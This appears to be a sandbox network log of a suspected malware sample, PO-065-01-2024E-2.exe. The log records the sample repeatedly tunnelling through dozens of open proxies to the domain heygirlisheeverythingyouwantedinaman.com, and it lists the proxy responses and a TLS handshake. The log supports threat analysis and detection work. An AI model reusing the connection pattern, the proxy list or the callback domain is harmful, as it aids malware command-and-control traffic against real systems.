Mar 11, 2024 16:39:44.542159081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.10	50567	3.212.148.199	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.543699980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.761004925 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.10	50627	92.204.134.38	25675	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.545344114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.10	50468	18.135.211.182	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.553632975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.846476078 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.10	50305	38.54.116.9	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.577826977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.004646063 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.10	50538	184.181.217.206	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.578033924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.10	50336	103.48.68.101	83	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.578443050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.332542896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.329015017 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.10	50670	172.67.181.97	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.578449965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.733052015 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.10	50371	202.162.219.10	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.578623056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.10	50483	3.127.62.252	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.578958988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.908884048 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:44.909548044 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 bf 86 65 51 b0 be fa 20 02 66 1c 49 53 32 66 5b 2e 79 e8 39 9f 1d 22 0c 4d e4 d4 50 40 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%eQ fIS2f[.y9"MP@*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:45.214925051 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 dc 22 98 9d 63 52 eb 33 29 d8 fc 17 8d 1b 58 35 ec a4 78 31 60 ad 04 0a 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9"cR3)X5x1`DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151222Z260311151222Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:45.229656935 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 02 b9 aa 86 08 f0 ad 5a 33 0e c4 f2 78 f5 63 cd 43 08 d6 ee 92 f5 0e 7a b3 35 7c e3 4b b9 cf 13 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 76 7f 07 1f 14 d5 42 6a 46 8e 41 78 83 20 bc 5f f2 8c 6e 5b a7 Data Ascii: %! Z3xcCz5\|K(vBjFAx _n[F
Mar 11, 2024 16:39:45.533233881 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 b9 13 f2 2f cc a1 8a ac 2b a8 61 43 a6 40 1c 8a f9 62 52 f0 8b 8e 90 4e 57 2f 63 2e 11 c0 b2 ae 74 6c fa aa 7f 98 9c 94 Data Ascii: (/+aC@bRNW/c.tl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.10	50382	91.148.127.162	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.579653025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.10	50413	120.79.101.0	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.579703093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.939542055 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 33 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313873"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.10	50684	104.25.42.178	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.580276012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.734776020 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.10	50353	202.40.181.220	31247	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.584455967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.10	50691	104.19.225.70	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.595644951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.749967098 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.10	50717	104.22.50.220	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.606071949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.760941982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.10	50506	211.222.252.187	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.607844114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.10	50620	184.178.172.5	15303	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.608225107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.10	50729	172.67.127.188	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.612926960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.767400980 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.10	50481	95.66.138.21	8880	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.612967968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.10	49789	64.227.108.25	31908	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.616241932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.10	50739	172.67.182.107	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.618333101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.772471905 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.10	50550	198.44.255.3	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.625955105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.10	50626	190.97.238.94	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.631026983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.254414082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.083050013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.786201000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.286075115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.676810026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.10	50545	5.252.23.220	1081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.632549047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

